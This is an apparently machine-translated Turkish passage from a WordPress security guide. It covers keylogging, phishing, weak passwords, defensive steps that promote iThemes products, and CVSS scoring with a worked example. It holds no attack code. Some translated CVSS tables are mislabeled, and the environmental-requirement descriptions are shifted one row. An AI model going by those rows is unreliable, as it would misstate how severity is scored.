    Tuş Kaydı veya klavye yakalama olarak da bilinen Tuş Kaydı , bir bilgisayar korsanının web sitesi ziyaretçilerinin tuş vuruşlarını gizlice izlediği ve kaydettiği zaman gerçekleşir.

    Tuş Kaydı Örneği

    2017'de bir bilgisayar korsanı, akıllı telefon üreticisi OnePlus'ın sunucularına kötü amaçlı JavaScript'i başarıyla yükledi.

    Saldırganlar, kötü amaçlı kodu kullanarak, OnePlus müşterilerinin kredi kartı bilgilerini girerken tuş vuruşlarını izledi ve kaydetti. Bilgisayar korsanları, OnePlus hack'i tespit edip düzeltmeden önce 40.000 müşterinin tuş vuruşlarını günlüğe kaydetti ve topladı.

    Tuş Kaydı Nasıl Engellenir

    Her şeyi güncelleyin! Tipik olarak, bir saldırganın bir bilgisayara veya sunucuya bir keylogger enjekte etmek için mevcut başka bir güvenlik açığından yararlanması gerekir. Her şeyi en son güvenlik yamalarıyla güncel tutmak, bilgisayar korsanlarına web sitenize veya bilgisayarınıza keylogger kurmanın kolay bir yolunu sunmayı önleyecektir.

    Bonus: 2 Sosyal Mühendislik ve Kullanıcı Güvenlik Açıkları

    Bilgisayar korsanlarının ve siber suçluların yararlanmaya çalıştığı tek şey yazılım açıklarıdır. Bilgisayar korsanları ayrıca insanları hedef alır ve sömürür. Güvenlik açıklarına dönüştürülebileceğimiz birkaç yola göz atalım.

    1. Kimlik avı

    Kimlik avı, kurbanı kişisel bilgilerini vermesi için kandırmak için e-posta, sosyal medya, metin mesajları ve telefon görüşmelerini kullanan bir siber saldırı yöntemidir. Saldırgan daha sonra bilgileri kişisel hesaplara erişmek veya kimlik sahtekarlığı yapmak için kullanır.

    Kimlik Avı E-postası Nasıl Belirlenir

    Bu gönderide daha önce öğrendiğimiz gibi, bazı güvenlik açıklarından yararlanmak için bir tür kullanıcı etkileşimi gerekir. Bir bilgisayar korsanının insanları hain girişimlerine katılmaları için kandırmasının bir yolu, kimlik avı e-postaları göndermektir.

    Bir kimlik avı e-postasını nasıl tespit edeceğinizi öğrenmek, sizi yanlışlıkla siber suçluların planlarına girmekten kurtarabilir.

    Bir kimlik avı e-postasını tespit etmek için 4 ipucu :

    1. Gönderen e-posta adresine bakın – Bir işletmeden e-posta alırsanız, gönderenin e-posta adresinin “@” işaretinden sonraki kısmı işletme adıyla eşleşmelidir.

      Bir e-posta bir şirketi veya devlet kurumunu temsil ediyorsa ancak "@gmail" gibi herkese açık bir e-posta adresi kullanıyorsa, kimlik avı e-postasının bir işaretidir.

      Alan adının ince yazım yanlışlarına dikkat edin. Örneğin şu e-posta adresine bakalım [email protected] Netflix'in sonunda fazladan bir “x” olduğunu görebiliyoruz. Yazım hatası, e-postanın bir dolandırıcı tarafından gönderildiğinin ve derhal silinmesi gerektiğinin açık bir işaretidir.
    2. Dilbilgisi hatalarına bakın - Dilbilgisi hatalarıyla dolu bir e-posta, kötü niyetli bir e-postanın işaretidir. Tüm kelimeler doğru yazılabilir, ancak cümlelerde cümleyi tutarlı kılacak kelimeler eksiktir. Örneğin, “Hesabınız saldırıya uğradı. Hesap güvenliği için şifreyi güncelleyin”.

      Herkes hata yapar ve bir veya iki yazım hatası olan her e-posta sizi dolandırma girişimi değildir. Bununla birlikte, birden fazla dilbilgisi hatası, yanıt vermeden önce daha yakından bakmayı garanti eder.
    3. Şüpheli ekler veya bağlantılar – Bir e-postada yer alan herhangi bir ek veya bağlantıyla etkileşime geçmeden önce bir an duraklamaya değer.

      Bir e-postayı göndereni tanımıyorsanız, kötü amaçlı yazılım içerebileceği ve bilgisayarınıza bulaşabileceği için e-postadaki ekleri indirmemelisiniz. E-postanın bir işletmeden geldiğini iddia ederse, herhangi bir eki açmadan önce e-postanın kendilerinden gönderildiğini doğrulamak için iletişim bilgilerini Google'da aratabilirsiniz.

      Bir e-posta bir bağlantı içeriyorsa, URL'nin sizi olması gereken yere gönderdiğini doğrulamak için farenizi bağlantının üzerine getirebilirsiniz.
    4. Acil isteklere dikkat edin – Dolandırıcılar tarafından kullanılan yaygın bir numara, aciliyet duygusu yaratmaktır. Kötü amaçlı bir e-posta, hemen eyleme geçilmesi gereken bir senaryo oluşturabilir. Düşünmek için ne kadar zamanınız olursa, talebin bir dolandırıcıdan geldiğini belirleme şansınız o kadar artar.

      "Patronunuzdan", bir satıcıya en kısa sürede ödeme yapmanızı isteyen bir e-posta veya bankanızdan hesabınızın saldırıya uğradığını ve derhal harekete geçilmesi gerektiğini bildiren bir e-posta alabilirsiniz.

    2. Zayıf Kimlik Bilgileri

    Kullanıcılar, en büyük WordPress güvenlik açığı olma potansiyeline sahiptir.

    Splash Data tarafından derlenen bir listede, tüm veri dökümlerinde bulunan en yaygın şifre 123456 idi. Veri dökümü, internette bir yere dökülen kullanıcı şifreleriyle dolu, saldırıya uğramış bir veritabanıdır. Veri dökümlerinde en yaygın şifre 123456 ise, web sitenizde kaç kişinin zayıf bir şifre kullandığını hayal edebiliyor musunuz?

    İnsanların %91'i parolaları yeniden kullanmanın kötü bir uygulama olduğunu bilse de, insanların %59'u hala her yerde parolalarını yeniden kullanıyor! Bu kişilerin çoğu hala bir veritabanı dökümünde göründüğünü bildikleri parolaları kullanıyor.

    Bilgisayar korsanları, sözlük saldırısı adı verilen bir kaba kuvvet saldırısı kullanır. Sözlük saldırısı, veritabanı dökümlerinde görünen yaygın olarak kullanılan parolalarla bir WordPress web sitesine girme yöntemidir. “Koleksiyon #1? MEGA barındırılan üzerinde barındırılan Veri İhlali, 1.160.253.228 benzersiz e-posta adresi ve şifre kombinasyonunu içeriyordu. Bu bir b ile milyar. Bu tür bir puan, bir sözlük saldırısının en sık kullanılan WordPress şifrelerini daraltmasına gerçekten yardımcı olacaktır.

    Zayıf kimlik bilgileri, WordPress girişinizi bilgisayar korsanlarının yararlanabileceği kolay bir güvenlik açığına dönüştürür.

    Zayıf Kimlik Bilgileri Nasıl Önlenir

    Zayıf kimlik bilgilerini önlemenin en iyi yolu, güçlü bir parola ilkesi oluşturmak ve iki faktörlü kimlik doğrulama kullanmaktır.

    iThemes Security Pro Parola Gereksinimleri özelliği, bir kullanıcı grubunun üyelerini güçlü bir parola kullanmaya zorlamaya, parolanın sona ereceği bir zaman seçmeye, güvenliği ihlal edilmiş parolaları reddetmeye ve herkesin yeni güçlü parola ilkenize uymasını sağlamak için site genelinde parolaları değiştirmeye zorlamaya olanak tanır.

    İki faktörlü kimlik doğrulama, iki ayrı doğrulama yöntemi gerektirerek bir kişinin kimliğini doğrulama işlemidir. Google, blogunda iki faktörlü kimlik doğrulamanın otomatik bot saldırılarının %100'ünü durdurabileceğini paylaştı.

    iThemes Security Pro İki Faktörlü Kimlik Doğrulama özelliği, web sitenize 2fa uygularken çok fazla esneklik sağlar. Kullanıcılarınızın tamamı veya bir kısmı için iki faktörü etkinleştirebilir ve üst düzey kullanıcılarınızı her oturum açmada 2fa kullanmaya zorlayabilirsiniz.

    WordPress Web Sitenizi WordPress Güvenlik Açıklarından Nasıl Korursunuz?

    Web sitenizi WordPress güvenlik açıklarından korumak için uygulayabileceğiniz bazı uygulanabilir adımlara bir göz atalım.

    1. WordPress Yazılımınızı Güncel Tutun

    Bir yamanın mevcut olduğu ancak uygulanmadığı savunmasız bir eklentiye veya temaya sahip olmak, saldırıya uğramış WordPress web sitelerinin bir numaralı suçlusudur. Bu, çoğu güvenlik açığından, güvenlik açığı için bir yama yayımlandıktan SONRA yararlanılacağı anlamına gelir.

    Çok rapor edilen Equifax ihlali, yazılımlarını güncelleselerdi önlenebilirdi. Equifax ihlali için hiçbir mazeret yoktu.

    Yazılımınızı güncellemek kadar basit bir şey sizi koruyabilir. Bu nedenle, bu WordPress güncellemelerini göz ardı etmeyin — güncellemeler , WordPress'in ve tüm web güvenliğinin en temel bileşenlerinden biridir.

    iThemes Security Pro Sürüm Yönetimi özelliği, WordPress güncellemelerinizi özelleştirmenizi ve otomatikleştirmenizi sağlar.

    2. WordPress Güvenlik Açıklarını Takip Edin

    Eklentilerinizi ve temalarınızı güncel tutmak sizi her türlü güvenlik açığından korumaz. Bazı eklentiler ve temalar, onları oluşturan geliştiriciler tarafından terk edilmiştir.

    Ne yazık ki, terk edilmiş bir eklenti veya temanın bir güvenlik açığı varsa, asla bir yama almaz. Bilgisayar korsanları, artık kalıcı olarak savunmasız olan bu eklentileri kullanan web sitelerini hedefleyecektir.

    Güvenlik açıklarını takip etmek, güvenli bir web sitesine sahip olmakla bilgisayar korsanlarının kolayca yararlanabileceği bir web sitesine sahip olmak arasındaki farktır.

    Web sitenizde bilinen bir güvenlik açığı bulunan terk edilmiş bir eklentiniz varsa, bilgisayar korsanlarına web sitenizi ele geçirmeleri için ihtiyaç duydukları planları veriyorsunuz. Bu yüzden en son güvenlik açıklarını takip etmelisiniz.

    Açıklanan her WordPress güvenlik açığını takip etmek ve bu listeyi web sitenize yüklediğiniz eklentilerin ve temaların sürümleriyle karşılaştırmak zordur. Güvenlik açıklarını takip etmek, güvenli bir web sitesine sahip olmakla bilgisayar korsanlarının kolayca yararlanabileceği bir web sitesine sahip olmak arasındaki farktır.

    Senin için iyi haber! WordPress Güvenlik Açığı Özetlerimizde açıklanan her güvenlik açığını takip ediyor ve paylaşıyoruz.

    3. Web Sitenizi Güvenlik Açıkları İçin Tarama

    Web sitenizi kolay korsan istismarlarından korumanın daha hızlı bir yolu, web sitelerinizi bilinen güvenlik açıkları için kontrol etmek için otomatik taramalar kullanmaktır.

    iThemes Security Pro Site Tarayıcı, tüm WordPress web sitelerinizde güvenlik açığı korumasını otomatikleştirmenin yoludur. Site Tarayıcı, sitenizde bilinen güvenlik açıklarını kontrol eder ve varsa otomatik olarak bir yama uygular.

    iThemes Security Pro Sitesi, 3 tür güvenlik açığını kontrol eder.

    1. WordPress Güvenlik Açıkları
    2. Eklenti Güvenlik Açıkları
    3. Tema Güvenlik Açıkları

    iThemes Sync Pro Site Denetimi özelliği, web sitenizi korumak için Google Lighthouse'un gücünden yararlanır. Site Denetimi, bilinen güvenlik açıklarına sahip ön uç JavaScript kitaplıklarını içeren sayfaları kontrol eder ve işaretler.

    Geliştiricilerin eklentilerinde ve temalarında üçüncü taraf kod benzeri JS kitaplıkları kullanmaları yaygın bir uygulamadır. Ne yazık ki, kitaplıklar düzgün bir şekilde korunmazsa, saldırganların web sitenizi hacklemek için kullanabileceği güvenlik açıkları oluşturabilirler. Bilinen Güvenlik Açıklarına Sahip Bileşenleri Kullanmak, OWASP İlk 10 listesindedir.

    Site Denetimi pastırmamı kurtardı! Sync Pro'nun haftalık otomatik denetimler gerçekleştirmesi ve denetim raporlarını bana e-postayla göndermesi için bir Denetim Takvimi oluşturdum. Her şeyi güncel tutuyorum ve bu yüzden web sitemin denetimlerinden birinde bilinen güvenlik açıklarına sahip JavaScript kitaplıkları kullandığımı gördüğümde şok oldum.

    Rapor, web sitesinin WordPress dizininde bilinen güvenlik açıklarıyla dolu eski bir jQuery sürümüne işaret etti! Şansıma, Sync Pro Site Denetimimde bilinen güvenlik açıklarına sahip JavaScript kitaplıkları kullandığımı ve web sitem saldırıya uğramadan önce sorunu çözebildiğimi gördüm.

    WordPress Güvenlik Açığı Riski Nasıl Ölçülür?

    Hepsi değişen derecelerde risk içeren çeşitli WordPress güvenlik açıkları vardır. Şansımıza, Ulusal Bilim ve Teknoloji Enstitüsü'nün bir projesi olan Ulusal Güvenlik Açığı Veritabanı, bir güvenlik açığı riskini belirlemek için bir güvenlik açığı puanlama sistemi hesaplayıcısına sahiptir.

    WordPress güvenlik açığı kılavuzunun bu bölümü, güvenlik açığı puanlama sisteminin ölçümlerini ve önem düzeylerini kapsayacaktır. Bu bölüm biraz daha teknik olsa da, bazı kullanıcılar WordPress güvenlik açıklarının ve önem derecelerinin nasıl değerlendirildiği konusundaki anlayışlarını derinleştirmek için faydalı bulabilir.

    Ortak WordPress Güvenlik Açığı Puanlama Sistemi Metrikleri

    Güvenlik açığı puanlama sisteminin denklemi, genel önem puanını belirlemek için üç farklı puan kümesi kullanır.

    1. Temel Metrikler

    Temel ölçüm grubu, kullanıcı ortamlarında sabit olan bir güvenlik açığının özelliklerini temsil eder.

    Temel metrikler, Yararlanılabilirlik ve Etki olmak üzere iki gruba ayrılır.

    1.1. Kullanılabilirlik Metrikleri

    Sömürülebilirlik puanı, bir saldırganın güvenlik açığından yararlanmasının ne kadar zor olduğuna bağlıdır. Skor 5 farklı değişken kullanılarak hesaplanır.

    1.1.1. Saldırı Vektörü (AV)

    Saldırı vektörü puanı, güvenlik açığından yararlanma yöntemine bağlıdır. Bir saldırgan güvenlik açığından yararlanmak için ne kadar uzak olursa, puan o kadar yüksek olacaktır.

    Buradaki fikir, bir cihazdan yararlanmaya fiziksel erişim gerektiren bir güvenlik açığına kıyasla, güvenlik açığı bir ağ üzerinden kullanılabilirse, potansiyel saldırganların sayısının çok daha fazla olacağıdır.

    Potansiyel saldırganlar ne kadar fazla olursa, istismar riski o kadar yüksek olur ve bu nedenle, güvenlik açığına verilen Saldırı Vektörü puanı daha yüksek olacaktır.

    Erişim Gerekli Açıklama
    Ağ (N) Ağ ile yararlanılabilen bir güvenlik açığı erişim, savunmasız bileşenin uzaktan kullanılabilir olduğu anlamına gelir.
    Bitişik Ağ (AV:A) Bitişik Ağ ile yararlanılabilen bir güvenlik açığı erişim, savunmasız bileşenin ağ yığınına bağlı olduğu anlamına gelir. Ancak saldırı, aynı paylaşılan fiziksel veya mantıksal ağ ile sınırlıdır.
    Yerel (AV:L) Yerel ile yararlanılabilen bir güvenlik açığı erişim, savunmasız bileşenin ağ yığınına bağlı olmadığı anlamına gelir. Bazı durumlarda, saldırgan güvenlik açığından yararlanmak için yerel olarak oturum açabilir veya kötü amaçlı bir dosyayı yürütmek için Kullanıcı Etkileşimine güvenebilir.
    Fiziksel (AV:P) Fiziksel ile yararlanılabilen bir güvenlik açığı erişim Saldırganın, bir sisteme çevresel bir aygıt takmak gibi, güvenlik açığı bulunan bileşene fiziksel olarak dokunmasını veya değiştirmesini gerektirir.

    1.1.2. Saldırı Karmaşıklığı (AC)

    Karmaşıklık değeri, güvenlik açığından yararlanmak için gereken koşullara dayanır. Bazı koşullar, hedef, belirli sistem yapılandırma ayarlarının varlığı veya hesaplama istisnaları hakkında daha fazla bilgi toplanmasını gerektirebilir.

    Saldırı karmaşıklığı puanı, güvenlik açığından yararlanmak için gereken karmaşıklık ne kadar düşükse o kadar yüksek olacaktır.

    İstismar Durumu Karmaşıklığı Açıklamalar
    Düşük (L) Özel erişim koşulları veya hafifletici koşullar mevcut değildir. Saldırgan, savunmasız bileşene karşı tekrarlanabilir bir başarı bekleyebilir.
    Yüksek (H) Başarılı bir saldırı, saldırganın kontrolü dışındaki koşullara bağlıdır. Başarılı bir saldırı isteyerek gerçekleştirilemez, ancak başarılı bir saldırı beklenmeden önce saldırganın savunmasız bileşene karşı hazırlık veya yürütme için ölçülebilir miktarda çaba harcamasını gerektirir.

    1.1.3. Gerekli Ayrıcalıklar (PR)

    Gerekli ayrıcalıklar puanı, bir saldırganın bir güvenlik açığından yararlanmadan önce elde etmesi gereken ayrıcalıklara göre hesaplanır. Buna Kimliği Doğrulanmış ve Kimliği Doğrulanmamış bölümünde biraz daha dalacağız.

    Herhangi bir ayrıcalık gerekmiyorsa puan en yüksek olacaktır.

    Ayrıcalık Düzeyi Gerekli Açıklama
    Yok (N) Saldırgan, saldırıdan önce yetkisizdir ve bu nedenle bir saldırıyı gerçekleştirmek için ayarlara veya dosyalara herhangi bir erişim gerektirmez.
    Düşük (L) Saldırgan, normalde yalnızca bir kullanıcının sahip olduğu ayarları ve dosyaları etkileyebilecek temel kullanıcı yetenekleri sağlayan ayrıcalıklarla yetkilendirilir. Alternatif olarak, Düşük ayrıcalıklara sahip bir saldırgan, yalnızca hassas olmayan kaynaklar üzerinde etki yaratma yeteneğine sahip olabilir.
    Yüksek (H) Saldırgan, güvenlik açığı bulunan bileşen üzerinde, bileşen genelindeki ayarları ve dosyaları etkileyebilecek önemli (ör. yönetimsel) denetim sağlayan ayrıcalıklarla yetkilendirilir (yani gerektirir).

    1.1.4. Kullanıcı Etkileşimi (UI)

    Kullanıcı etkileşimi puanı, bir güvenlik açığından yararlanmak için kullanıcı etkileşimi gerektirip gerektirmediğine göre belirlenir.

    Bir saldırganın güvenlik açığından yararlanması için kullanıcı etkileşimi gerekmediğinde puan en yüksek olacaktır.

    Kullanıcı Etkileşimi Gereksinimi Açıklama
    Yok (N) Güvenlik açığı bulunan sistem, herhangi bir kullanıcının etkileşimi olmadan kullanılabilir.
    Gerekli (R) Bu güvenlik açığından başarılı bir şekilde yararlanılması, kullanıcının güvenlik açığından yararlanılabilmesi için bir kullanıcıyı bir e-postadaki bir bağlantıyı tıklamaya ikna etmek gibi bazı eylemlerde bulunmasını gerektirir.

    1.1.5. Kapsam

    Kapsam puanı, güvenlik kapsamı dışındaki kaynakları etkilemek için bir yazılım bileşenindeki güvenlik açığına dayanır.

    Güvenlik kapsamı, bu diğer bileşenlerin kendi güvenlik yetkilerine sahip olsalar bile, yalnızca o bileşene işlevsellik sağlayan diğer bileşenleri kapsar.

    Bir kapsam değişikliği meydana geldiğinde puan en yüksektir.

    Kapsam Açıklama
    Değişmedi (U) Sömürülen bir güvenlik açığı yalnızca aynı yetkili tarafından yönetilen kaynakları etkileyebilir. Bu durumda, savunmasız bileşen ve etkilenen bileşen aynıdır.
    Değiştirildi (U) Kötüye kullanılan bir güvenlik açığı, güvenlik açığı bulunan bileşenin amaçladığı yetkilendirme ayrıcalıklarının ötesindeki kaynakları etkileyebilir. Bu durumda, savunmasız bileşen ve etkilenen bileşen farklıdır.

    1.2. Etki Metrikleri

    Etki ölçümleri, başarıyla yararlanılan bir güvenlik açığının doğrudan etkilerini yakalar.

    1.2.1. Gizli Etki (C)

    Bu gizli etki puanı, istismar edilen yazılım tarafından yönetilen bilgilerin gizliliği üzerindeki etkiyi ölçer.

    Etkilenen yazılımın kaybı en yüksek olduğunda puan en yüksek olur.

    Gizlilik Etkisi Açıklama
    Yüksek (H) Tam bir gizlilik kaybı vardır ve bu, istismar edilen yazılımdaki tüm kaynakların saldırgana ifşa edilmesine neden olur.
    Düşük (L) Biraz gizlilik kaybı var. Saldırgan bazı kısıtlı bilgilere erişim kazandı.
    Yok (N) Sömürülen yazılımda gizlilik kaybı yoktur.

    1.2.2. Bütünlük (I)

    Bu bütünlük puanı, başarıyla yararlanılan bir güvenlik açığının bütünlüğü üzerindeki etkisine dayanır.

    Etkilenen yazılımın sonucu en yüksek olduğunda puan en yüksek olur.

    Bütünlük Etkisi Açıklama
    Yüksek (H) Tam bir bütünlük kaybı veya tam bir koruma kaybı var.
    Düşük (L) Veri değişikliğinin, etkilenen yazılım üzerinde doğrudan ve ciddi bir etkisi yoktur.
    Yok (N) Etkilenen yazılımda bütünlük kaybı yoktur.

    1.2.3. Kullanılabilirlik (A)

    Kullanılabilirlik puanı, yararlanılan yazılımın kullanılabilirliğinin etkisine dayanır.

    Etkilenen bileşenin sonucu en büyük olduğunda Skor en yüksektir.

    Kullanılabilirlik Etkisi Açıklama
    Yüksek (H) Tamamen kullanılabilirlik kaybı vardır ve bu da saldırganın yararlanılan yazılımdaki kaynaklara erişimi tamamen reddetmesine neden olur.
    Düşük (L) Düşük performans veya kaynak kullanılabilirliğinde kesintiler var.
    Yok (N) Etkilenen yazılımın kullanılabilirliği üzerinde herhangi bir etkisi yoktur.

    Temel Puan CVSS Puanı Hesaplama

    Temel Puan, Etki ve Kullanılabilirlik alt puan denklemlerinin bir fonksiyonudur. Taban puanın şu şekilde tanımlandığı yerde,

     If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction

    2. Geçici Puan Metrikleri

    Geçici ölçümler, istismar tekniklerinin mevcut durumunu, herhangi bir yama veya geçici çözümün varlığını veya bir güvenlik açığının tanımına olan güveni ölçer.

    Zamansal metriklerin zaman içinde değişmesi beklenir ve değişecektir.

    2.1. Exploit Kodu Olgunluk (E)

    Açıktan yararlanma kodunun olgunluğu, güvenlik açığının saldırıya uğrama olasılığına bağlıdır.

    Bir güvenlik açığından ne kadar kolay yararlanılırsa, güvenlik açığı puanı o kadar yüksek olur.

    Exploit Kodu Vade Değeri Açıklama
    Tanımlanmadı (X) Bu değeri metriğe atamak puanı etkilemez. Bu metriği atlamak, puanlama denklemine bir işarettir.
    Yüksek (H) İşlevsel otonom kod var veya herhangi bir istismar gerekmiyor ve ayrıntılar yaygın olarak mevcut.
    Fonksiyonel (F) İşlevsel istismar kodu mevcuttur. Kod, güvenlik açığının bulunduğu çoğu durumda çalışır.
    Kavram Kanıtı (P) Kavram kanıtı istismar kodu mevcuttur veya çoğu sistem için bir saldırı gösterimi pratik değildir.
    Kanıtlanmamış (U) Herhangi bir istismar kodu mevcut değildir veya bir istismar tamamen teoriktir.

    2.2. Düzeltme Düzeyi (RL)

    Bir güvenlik açığının Düzeltme Düzeyi, önceliklendirme için önemli bir faktördür. Geçici çözümler veya düzeltmeler, resmi bir yama veya yükseltme yayınlanana kadar geçici düzeltme sağlayabilir.

    Bir düzeltme ne kadar az resmi ve kalıcı olursa, güvenlik açığı puanı o kadar yüksek olur.

    Düzeltme Düzeyi Değeri Açıklama
    Tanımlanmadı (X) Tanımlanmamış Düzeltme Değeri, diğer düzeltme değerlerinden birini seçmek için yeterli bilgi olmadığı anlamına gelir. Tanımlanmadı değerinin genel Geçici Puan üzerinde hiçbir etkisi yoktur ve Puanlama üzerinde Kullanılamaz olarak aynı etkiye sahiptir.
    Kullanılamıyor (U) Çözüm mevcut değil.
    Geçici Çözüm (W) Resmi olmayan, satıcı olmayan bir çözüm mevcuttur. Örneğin, bir kullanıcı veya başka bir üçüncü taraf, güvenlik açığını azaltmak için bir yama veya geçici çözüm oluşturdu.
    Geçici Düzeltme (T) Resmi ancak geçici bir düzeltme mevcut. Örneğin, yazılım geliştiricisi, güvenlik açığını azaltmak için geçici bir düzeltme yayınladı veya bir geçici çözüm sağladı.
    Resmi Düzeltme (O) Yazılım geliştiricisi, güvenlik açığı için resmi bir yama yayınladı.

    2.3. Güven Bildir (RC)

    Rapor Güveni metriği, bir güvenlik açığının bulunduğuna ilişkin güven düzeyini ve teknik ayrıntıların güvenilirliğini ölçer.

    Bir güvenlik açığı satıcı veya diğer saygın kaynaklar tarafından ne kadar doğrulanırsa, puan o kadar yüksek olur.

    Güven Değerini Bildir Açıklama
    Tanımlanmadı (X) Tanımlanmamış bir Rapor Güven Değeri, diğer güven değerlerinden birini atamak için yeterli bilgi olmadığı anlamına gelir. Tanımlanmadı değerinin genel Rapor Güven Puanı üzerinde hiçbir etkisi yoktur ve Puanlama üzerinde Kullanılamaz olarak aynı etkiye sahiptir.
    Onaylandı (C) Güvenlik açığından nasıl yararlanılacağına dair bir kavram bilgisiyle birlikte ayrıntılı bir rapor mevcuttur veya yazılım geliştiricisi güvenlik açığının varlığını doğrulamıştır.
    makul (R) Önemli ayrıntılar içeren bir rapor var, ancak araştırmacılar temel nedene tam olarak güvenmiyorlar veya istismara yol açabilecek her etkileşimi tam olarak doğrulayamıyorlar. Ancak, hata tekrarlanabilir ve en az bir kavram kanıtı mevcuttur.
    Bilinmeyen (U) Bir güvenlik açığının mevcut olduğunu gösteren etki raporları var, ancak güvenlik açığının nedeni bilinmiyor.

    Geçici CVSS Puanı Hesaplama

    Geçici puan şu şekilde tanımlanır:

     Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)

    3. Çevresel Puan Metrikleri

    Çevresel ölçümler, analistlerin etkilenen BT varlıklarının önemine göre puanlanan CVSS'yi özelleştirmesine olanak tanır.

    Çevresel Kullanılabilirlik ve Etki metrikleri, Temel metriklerin değiştirilmiş bir eşdeğeridir ve kurumsal altyapının bileşen yerleşimine dayalı olarak değerler atanır. Kullanılabilirlik ve Etki metriklerinin değerlerini ve açıklamalarını görüntülemek için yukarıdaki Temel Metrikler bölümlerine bakın.

    Çevresel metrikler, ekstra bir grup olan Etki Alt Puan Değiştiricileri içerir.

    3.1. Etki Alt Puan Değiştirici Metrikleri

    Etki Alt Puanı Değiştiricileri metrikleri, Gizlilik (CR), Bütünlük (IR) ve Kullanılabilirlik (AR) için belirli güvenlik gereksinimlerini değerlendirerek, çevresel puanın kullanıcıların ortamına göre ince ayarlanmasına olanak tanır.

    Etki Alt Puan Değeri Açıklama
    Tanımlanmadı (CR:X) (gizlilik/bütünlük/kullanılabilirlik) kaybının kuruluş üzerinde yalnızca sınırlı bir etkisi olması muhtemeldir.
    Düşük (CR:L) (gizlilik/bütünlük/kullanılabilirlik) kaybının organizasyon üzerinde ciddi bir etkisi olması muhtemeldir.
    Orta (CR:M) (Gizlilik/bütünlük/kullanılabilirlik) kaybının organizasyon üzerinde yıkıcı bir etkisi olması muhtemeldir.
    Yüksek (CR:H) Bu, bu puanı görmezden gelmek için bir sinyaldir.

    Çevresel CVSS Puanı Hesaplama

    Çevre puanı şu şekilde tanımlanır:

     If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

    Genel CVSS Puanı ve Önem Derecesi

    Genel Ortak Güvenlik Açığı Puanlama Sistemi veya CVSS puanı, Temel, Geçici ve Çevre puanlarının bir temsilidir.

    Genel CVSS puanı, bir güvenlik açığının ne kadar ciddi veya ciddi olduğu konusunda size bir fikir vermek için kullanılabilir.

    CVSS Puanı önem
    0.0 Hiçbiri
    0.1 – 3.9 Düşük
    4.0 – 6.9 Orta
    7.0 – 8.9 Yüksek
    9.0 – 10.0 kritik

    Gerçek Dünya CVSS Önem Derecesi Örneği

    Aralık 2020 Güvenlik Açığı Özetimizde, Easy WP SMTP eklentisindeki bir güvenlik açığını bildirdik. Sıfır gün (sıfır gün güvenlik açıklarını bir sonraki bölümde ele alacağız) güvenlik açığı, bir saldırganın bir Yönetici hesabının kontrolünü ele geçirmesine izin verdi ve vahşi bir şekilde istismar edildi.

    Ulusal Güvenlik Açığı Veritabanı girişine göz atarak, WP SMTP güvenlik açığının önem derecesini bulabiliriz.

    Yukarıdaki WP SMTP NVDB ekran görüntüsünden birkaç şeyi inceleyelim.

    Temel Puan : Taban puan 7.5'tir ve bu bize güvenlik açığının önem derecesinin yüksek olduğunu gösterir.

    Vektör : Vektör bize skorun CVSS 3.1 güvenlik açığı denklemlerine ve skoru hesaplamak için kullanılan metriklere dayandığını söyler.

    İşte vektörün metrik kısmı.

     AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

    Şimdi, vektörün sekiz metrik değerini anlamak için bu yazının başlarındaki Temel Metrik değerlerini ve açıklamalarını kullanalım.

    1. AV:N – Bu, güvenlik açığının Saldırı Vektörünün (AV) Ağ (N) olduğu anlamına gelir. Başka bir deyişle, bir saldırganın güvenlik açığından yararlanmak için yalnızca ağ erişimine ihtiyacı vardır.
    2. AC:L – Güvenlik açığının Saldırı Karmaşıklığı (AC) Düşük (L). Başka bir deyişle, herhangi bir komut dosyası çocuğu güvenlik açığından yararlanabilir.
    3. PR:N – Güvenlik açığından yararlanmak için gereken Ayrıcalıklar (PR) Yoktur (N). Bu nedenle, güvenlik açığı, kimliği doğrulanmış bir kullanıcının yararlanmasını gerektirmez. (Kimliği Doğrulanmış ve Kimliği Doğrulanmamış güvenlik açıkları arasındaki farkı bu yazının ilerleyen bölümlerinde ele alacağız.)
    4. UI:N – Bu güvenlik açığından yararlanmak için gereken Kullanıcı Etkileşimi (UI) Yoktur (N). Böylece saldırgan, güvenlik açığından kendi kendine yararlanma imkanına sahiptir.
    5. S:U – Bu, güvenlik açığının Kapsamının (S) Değişmedi (U) olduğu anlamına gelir. Bu güvenlik açığı durumunda, güvenlik açığı bulunan bileşen ve etkilenen bileşen aynıdır.
    6. C:H – Güvenlik açığının Gizlilik Etkisi (C) Yüksek (H). Bu güvenlik açığından yararlanıldığında, tamamen gizlilik kaybına neden olur.
    7. I:N – Bu güvenlik açığının Bütünlük Etkisi (I) Yoktur (N). Güvenlik açığından yararlanıldığında, güvenlik açığı bulunan bilgilerin bütünlüğü veya güvenilirliğinde herhangi bir kayıp olmaz.
    8. A:N – Bu, Kullanılabilirlik Etkisinin (A) Yok (N) olduğu anlamına gelir. Güvenlik açığından yararlanıldığında, web sitenizin kullanılabilirliği üzerinde hiçbir etkisi olmayacaktır.

